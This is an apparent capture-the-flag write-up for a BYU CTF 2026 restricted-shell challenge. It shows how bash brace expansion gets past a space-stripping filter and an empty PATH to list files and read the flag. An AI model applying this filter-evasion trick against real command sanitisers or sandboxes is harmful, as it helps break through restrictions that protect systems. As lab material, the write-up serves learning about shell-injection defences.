BYU CTF 2026 - Easy

Challenge Description

Okay, easy mode is turned on. You know how to use bash, right?

nc chals.cyberjousting.com 1370

Initial Analysis

Connecting drops us into a custom shell:

1
Run anything you want! With... some modifications, anyways
2
$

A couple of probes reveal what the “modifications” are:

1
$ ls -la     ->  bash: line 1: ls-la: command not found
2
$ cat /flag* ->  bash: line 1: cat/flag*: No such file or directory

Two things stand out:

1. The shell strips spaces from our input (ls -la becomes ls-la).
2. PATH is effectively empty, so bare command names are never found.

The Vulnerability

We need to (a) reintroduce word separation without typing a space and (b) call binaries by absolute path. Bash brace expansion does both at once, because {a,b} expands to a b after the space filter has already run:

1
$ {/bin/ls,-la}
2
Output:
3
-rwxr-xr-x ... bash
4
-rw-r--r-- ... flag.txt
5
-rwxr-xr-x ... run

There is the flag file, right in the working directory.

Exploitation

1
$ {/bin/cat,flag.txt}
2
byuctf{g0_t0_j41l_a60941}

Flag

1
byuctf{g0_t0_j41l_a60941}